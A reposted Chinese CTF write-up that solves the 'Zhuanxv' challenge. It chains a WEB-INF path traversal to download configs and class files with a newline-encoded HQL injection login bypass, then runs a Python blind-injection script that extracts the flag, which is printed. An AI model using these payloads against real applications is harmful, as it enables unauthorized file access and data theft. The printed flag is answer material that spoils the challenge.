CTF 之Zhuanxv

拿到题目进行目录遍历发现有一个/list文件

 打开/list文件,发现是一个登录界面

 尝试过爆破,毫无疑问不可能成功。

刷新页面,抓包,然后放一个包,发现又发了一个请求。

GET /loadimage?fileName=web_login_bg.jpg HTTP/1.1

通过/loadimage?fileName=web_login_bg.jpg拿到了图片。然后尝试不同的文件格式查看,最后确定是xml格式。

既然知道了服务器的地址和请求路径,我们就通过路径访问得到项目的xml配置文件,于是构造payload: 

/loadimage?fileName=../../WEB-INF/web.xml

 是个下载文件,bg.jpg。

javaweb项目的特点,那么java项目就有一个特点了/WEB-INF/web.xml这是肯定存在的。

将其改成xml文件,查看源码

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"xmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"><display-name>Struts Blank</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>/ctfpage/index.jsp</welcome-file></welcome-file-list><error-page><error-code>404</error-code><location>/ctfpage/404.html</location></error-page>
</web-app>

可以看到,该项目使用的struts2框架,struts.xml是struts2的核心配置文件,该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等,因此我们需要读取struts.xml看看,构造payload:

/loadimage?fileName=../../WEB-INF/classes/struts.xml

 又得到一个jpg文件,改成xml文件

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE struts PUBLIC"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN""http://struts.apache.org/dtds/struts-2.3.dtd">
<struts><constant name="strutsenableDynamicMethodInvocation" value="false"/><constant name="struts.mapper.alwaysSelectFullNamespace" value="true" /><constant name="struts.action.extension" value=","/><package name="front" namespace="/" extends="struts-default"><global-exception-mappings><exception-mapping exception="java.lang.Exception" result="error"/></global-exception-mappings><action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute"><result name="error">/ctfpage/login.jsp</result><result name="success">/ctfpage/welcome.jsp</result></action><action name="loadimage" class="com.cuitctf.action.DownloadAction"><result name="success" type="stream"><param name="contentType">image/jpeg</param><param name="contentDisposition">attachment;filename="bg.jpg"</param><param name="inputName">downloadFile</param></result><result name="suffix_error">/ctfpage/welcome.jsp</result></action></package><package name="back" namespace="/" extends="struts-default"><interceptors><interceptor name="oa" class="com.cuitctf.util.UserOAuth"/><interceptor-stack name="userAuth"><interceptor-ref name="defaultStack" /><interceptor-ref name="oa" /></interceptor-stack></interceptors><action name="list" class="com.cuitctf.action.AdminAction" method="execute"><interceptor-ref name="userAuth"><param name="excludeMethods">execute</param></interceptor-ref><result name="login_error">/ctfpage/login.jsp</result><result name="list_error">/ctfpage/welcome.jsp</result><result name="success">/ctfpage/welcome.jsp</result></action></package>
</struts>

看到有很多class,这就是所谓的映射文件,如 表示访问loadimage路径时候,会去找字节码com.cuitctf.action.DownloadAction文件去加载内容,我们构造payload:

/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class

 下载下来后请记得修改文件名称.class,然后在IDEA使用decompiler插件进行反编译,挨个查看后,发现UserLoginAction.class反编译出来的内容与登录页面最为相关

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.cuitctf.action;import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import com.cuitctf.util.InitApplicationContext;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.springframework.context.ApplicationContext;public class UserLoginAction extends ActionSupport {private UserService userService;private User user;public UserLoginAction() {ApplicationContext context = InitApplicationContext.getApplicationContext();this.userService = (UserService)context.getBean("userService");}public String execute() throws Exception {System.out.println("start:" + this.user.getName());ActionContext actionContext = ActionContext.getContext();Map<String, Object> request = (Map)actionContext.get("request");try {if (!this.userCheck(this.user)) {request.put("error", "登录失败,请检查用户名和密码");System.out.println("登陆失败");return "error";}} catch (Exception var4) {var4.printStackTrace();throw var4;}System.out.println("login SUCCESS");ActionContext.getContext().getSession().put("user", this.user);return "success";}public boolean isValid(String username) {String valiidateString = "[a-zA-Z0-9]{1-16}";return matcher(valiidateString, username);}private static boolean matcher(String reg, String string) {boolean tem = false;Pattern pattern = Pattern.compile(reg);Matcher matcher = pattern.matcher(string);tem = matcher.matches();return tem;}public boolean userCheck(User user) {List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());if (userList != null && userList.size() == 1) {return true;} else {this.addActionError("Username or password is Wrong, please check!");return false;}}public UserService getUserService() {return this.userService;}public void setUserService(UserService userService) {this.userService = userService;}public User getUser() {return this.user;}public void setUser(User user) {this.user = user;}
}

 其中引入了重要的几个包,因此构造payload,拿到源码:

/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

 User.class反编译后是一个Bean文件,UserLoginAction.class反编译后是登录验证逻辑文件,InitApplicationContext.class反编译后是类加载器文件

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.cuitctf.util;import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;public class InitApplicationContext {private static ApplicationContext context = null;private InitApplicationContext() {}public static ApplicationContext getApplicationContext() {if (context == null) {context = new ClassPathXmlApplicationContext("applicationContext.xml");}return context;}
}

 加载应用的xml配置文件为applicationContext.xml,该文件一般是项目的启动配置文件,包括数据库等,同样构造payload,如下:

/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

下载后可以得到文件代码,如下 

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource"><property name="driverClassName"><value>com.mysql.jdbc.Driver</value></property><property name="url"><value>jdbc:mysql://localhost:3306/sctf</value></property><property name="username" value="root"/><property name="password" value="root" /></bean><bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean"><property name="dataSource"><ref bean="dataSource"/></property><property name="mappingLocations"><value>user.hbm.xml</value></property><property name="hibernateProperties"><props><prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop><prop key="hibernate.show_sql">true</prop></props></property></bean><bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate"><property name="sessionFactory"><ref bean="sessionFactory"/></property></bean><bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager"><property name="sessionFactory"><ref bean="sessionFactory"/></property></bean><bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true"><property name="transactionManager"><ref bean="transactionManager"/></property><property name="transactionAttributes"><props><prop key="add">PROPAGATION_REQUIRED</prop><prop key="find*">PROPAGATION_REQUIRED,readOnly</prop></props></property></bean><bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl"><property name="hibernateTemplate"><ref bean="hibernateTemplate"/></property></bean><bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl"><property name="userDao"><ref bean="userDAO"/></property></bean>
</beans>

其中暴露了使用的数据库,数据库账号密码,且其中包含了user.hbm.xml等配置文件,同样我们将其下载出来 

/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC"-//Hibernate/Hibernate Mapping DTD 3.0//EN""http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po"><class name="User" table="hlj_members"><id name="id" column="user_id"><generator class="identity"/></id><property name="name"/><property name="password"/></class><class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b"><id name="flag" column="welcometoourctf"><generator class="identity"/></id><property name="flag"/></class>
</hibernate-mapping>

 UserServiceImpl.class反编译后,是对登录信息进行了过滤

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.cuitctf.service.impl;import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;public class UserServiceImpl implements UserService {private UserDao userDao;public UserServiceImpl() {}public UserDao gerUserDao() {return this.userDao;}public void setUserDao(UserDao userDao) {this.userDao = userDao;}public List<User> findUserByName(String name) {return this.userDao.findUserByName(name);}public List<User> loginCheck(String name, String password) {name = name.replaceAll(" ", "");name = name.replaceAll("=", "");Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);return password_matcher.find() ? this.userDao.loginCheck(name, password) : null;}
}

 UserDaoImpl.class反编译后,是对登录的sql查找

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.cuitctf.dao.impl;import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import java.util.List;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;public class UserDaoImpl extends HibernateDaoSupport implements UserDao {public UserDaoImpl() {}public List<User> findUserByName(String name) {return this.getHibernateTemplate().find("from User where name ='" + name + "'");}public List<User> loginCheck(String name, String password) {return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");}
}


上面的sql语句使用HSQL,什么是HSQL,参考https://www.cnblogs.com/fengyouheng/p/11013013.html。因此构造登录账号密码:

from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'

UserServiceImpl.class反编译后代码中是对空格进行了过滤,而sql中对回车自动过滤, 因此我们可以将空格字符换成%0A(ascii码表示换行符)。于是使用hackbar进行翻译,得到新的注入sql的payload:

admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin

因此用户名:admin’%0Aor%0A’1’>‘0’%0Aor%0Aname%0Alike%0A’admin
密码:随意

这里登录不能使用post传输,所以我们所以hackbar关掉post,直接加后面作payload

/zhuanxvlogin?user.name=admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
&user.password=123#

 很可惜进来了还是没有一点线索。。。。。

 

最终只能考大佬的脚本了

import requestss = requests.session()flag = ''
for i in range(1, 50):p = ''for j in range(1, 255):# (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < 'payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'" + str(j) + "'"# print payloadurl = "http://61.147.171.105:50156/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=123"r1 = s.get(url)if len(r1.text) > 20000 and p != '':flag += p#print(i, flag)breakp = chr(j)
print(flag)

 
sctf{C46E250926A2DFFD831975396222B08E}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/798582.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1995-2021年各省分品种能源产量和消费量数据

1995-2021年各省分品种能源产量和消费量数据 1、时间&#xff1a;1995-2021年 2、来源&#xff1a;能源统计年鉴、各省年鉴 3、指标&#xff1a;能源消费总量、煤炭消费量、焦炭消费量、原油消费量、汽油消费量、煤油消费量、柴油消费量、燃料油消费量、天然气消费量、电力消…

不开玩笑,你应该像「搬砖」一样写代码!斯坦福大学研究如是说

由于程序员不可避免要进行很多重复性的工作&#xff0c;并且工作强度很高&#xff0c;导致有一种自嘲的说法出现&#xff1a;程序员们自称自己每天都在搬砖&#xff08;实际上很多职场人都这么自嘲&#xff09;。我相信当我们说工作像「搬砖」的时候&#xff0c;只是在表达一种…

非关系型数据库——三万字Redis数据库详解

目录 前言 一、Redis概述 1.主要特点 2.Redis优缺点 3.Redis为什么这么快 4.Redis那么快&#xff0c;为什么不用它做主数据库&#xff0c;只用它做缓存 5.线程模型 5.1单线程架构 5.2多线程IO处理&#xff08;Redis 6及以上&#xff09; 5.3线程模型的优化 6.作用 …

回归预测 | Matlab实现WOA-GPR鲸鱼算法优化高斯过程回归多变量回归预测

回归预测 | Matlab实现WOA-GPR鲸鱼算法优化高斯过程回归多变量回归预测 目录 回归预测 | Matlab实现WOA-GPR鲸鱼算法优化高斯过程回归多变量回归预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 Matlab实现WOA-GPR鲸鱼算法优化高斯过程回归多变量回归预测 1.Matlab实现…

吹爆!遥感高光谱分类(Python)

目录 一、数据集下载 二、安装包 三、数据处理 四、模型训练 五、模型推理 六、踩坑记录 一、数据集下载 Hyperspectral Remote Sensing Scenes - Grupo de Inteligencia Computacional (GIC) (ehu.eus) Installing SPy — Spectral Python 0.21 documentation 二、安装…

算法打卡day36|动态规划篇04| 01背包理论基础、416. 分割等和子集

目录 01背包理论基础 01背包问题描述 01背包解法 二维数组 一维数组 算法题 Leetcode 416. 分割等和子集 个人思路 解法 动态规划 01背包理论基础 不同的背包种类&#xff0c;虽然有那么多中南背包&#xff0c;但其中01背包和完全背包是重中之重&#xff1b; 01背包问…

Python + Appium 自动化操作微信入门看这一篇就够了

Appium 是一个开源的自动化测试工具&#xff0c;支持 Android、iOS 平台上的原生应用&#xff0c;支持 Java、Python、PHP 等多种语言。 Appium 封装了 Selenium&#xff0c;能够为用户提供所有常见的 JSON 格式的 Selenium 命令以及额外的移动设备相关的控制命令&#xff0c;…

LABVIEW--正弦+高斯噪声信号及滤波

前面板信号 后面板 LABVIEW源程序链接&#xff1a;https://pan.baidu.com/s/11B-75i4fHZwWQyjxn9yCyQ?pwd7tfj 提取码&#xff1a;7tfj

中文地址分词器源码阅读(jiedi)

文章目录 structure.p文件pd.read_excelenumerate思维导图核心源码讲解jiedi.pytrain.py 总结 structure 点击左边的Structure按钮就如Structure界面。从Structure我们可以看出当前代码文件中有多少个全局变量、函数、类以及类中有多少个成员变量和成员函数。 其中V图标表示全…

AI普及时代,【AI书童】助你提升自我竞争力

AI运营官招募令&#xff01;&#xff01;&#xff01; 【AI书童】运营官 未来智慧人工智能 2024-03-26 12:00 浙江 微信公众号&#xff1a;未来智慧人工智能 助力个人和企业在人工智能时代持续成功 随着ChatGPT、GPT-4和Sora等创新技术的推出&#xff0c;人工智能在多模态领…

《梦幻西游》迎来史上最大翻车,老玩家们为何纷纷揭竿而起?

因一次调整&#xff0c;21岁的《梦幻西游》迎来了自己有史以来最大的一波节奏。 玩家在微博上炮轰官方&#xff0c;称&#xff1a;“游戏借着打击工作室牟利的称号&#xff0c;砍副本活动产出&#xff0c;然后自己口袋无限卖”&#xff0c;要求改善游戏现状。 从3月29日起&am…

小黑逆向爬虫探索与成长之路:小黑独立破解毛毛租数据加密与解密

前言 有道和招标网的加密入口定位在前面两期做了详细的介绍&#xff0c;本小结将通过简单的关键词搜索定位到加密与解密入口 数据接口寻找与请求 根据响应数据长度&#xff0c;确定数据接口&#xff0c;发现传入的参数需要加密&#xff0c;响应的结果需要解密&#xff0c;后…

nodejs应用程序不同部署环境下的差异配置方案

一、背景 nodejs应用程序&#xff0c;不同于java语言使用分布式配置&#xff0c;当部署于不同的环境里&#xff0c;因为环境的差异&#xff0c;配置项的值也不尽相同。 最常见的差异就是数据库的连接信息&#xff0c;而代码是一份&#xff0c;不能把生产环境的信息暴露在非生产…

html+css+js编程入门----使用TitanIDE制作可切换主题的简单网页

在学习编程的时候&#xff0c;最重要的就是直接动手尝试&#xff0c;从实际挑战中逐渐作出调整。这个网站制作教程将根据以下几个步骤&#xff0c;手把手带你制作一个简易的网站&#xff0c;让你了解 HTML、CSS 和 JS 之间的关系与基本操作&#xff1a; 当我们从建筑的角度来理…

Unity学习笔记 - 第一个Hello World都算不上的项目

一、Unity安装 这里不细说安装了&#xff0c;首先需要Visual Studio&#xff0c;然后要安装Unity Hub&#xff0c;Unity Hub就像一个管理平台&#xff0c;安装完它之后&#xff0c;可以在它的界面上选择安装各个版本的编辑器。 开始您的创意项目并下载 Unity Hub | Unity通过 …

lv17 CGI移植 5-1

简介 CGIC是一个支持CGI开发的开放源码的标准C库&#xff0c;可以免费使用&#xff0c;只需要在开发的站点和程序文档中有个公开声明即可&#xff0c;表明程序使用了CGIC库&#xff0c;用户也可以购买商业授权而无需公开声明。 CGIC能够提供以下功能&#xff1a; 分析数据&a…

【第十二篇】使用BurpSuite实现CSRF(实战案例)

CSRF存在前提:简单的身份验证只能保证请求是发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的 业务场景:新增、删除、收藏、编辑、保存使用Burp发现CSRF漏洞的过程如下。 1、如图,存在修改邮箱的功能点如下: 2、修改邮箱的流量包,此时邮箱已被修改: 思路:是…

【leetcode】将x减到0的最小操作数/水果成篮/找到字符串中所有字母异位词{史上最容易懂的解析}

文章目录 1.将x减到0的最小操作数2.水果成篮3.找到字符串中所有字母异位词 1.将x减到0的最小操作数 分析题目 x不断地减去数组两端的值 看能否减到0&#xff1b;是不是就是在问&#xff1a;nums数组中存不存在【左端右端】组成的连续区间&#xff0c;区间上数的和为x 继续分析 …

【三十七】【算法分析与设计】STL 练习,凌波微步,栈和排序,吐泡泡,[HNOI2003]操作系统,优先队列自定义类型

凌波微步 链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 来源&#xff1a;牛客网 时间限制&#xff1a;C/C 1 秒&#xff0c;其他语言 2 秒 空间限制&#xff1a;C/C 32768K&#xff0c;其他语言 65536K 64bit IO Format: %lld 题目描述 小 Z 的体型实在是太胖了&…

小程序如何通过公众号发送新订单提醒

当客户在小程序上下单后&#xff0c;公众号会发送订单通知&#xff0c;这可以让管理员及时获知用户下单情况&#xff0c;方便及时处理订单和提供服务。下面是具体介绍如何设置公众号来发送订单服务通知。 方式一&#xff1a;通过采云公众号发送订单通知 此种方式是默认的通知…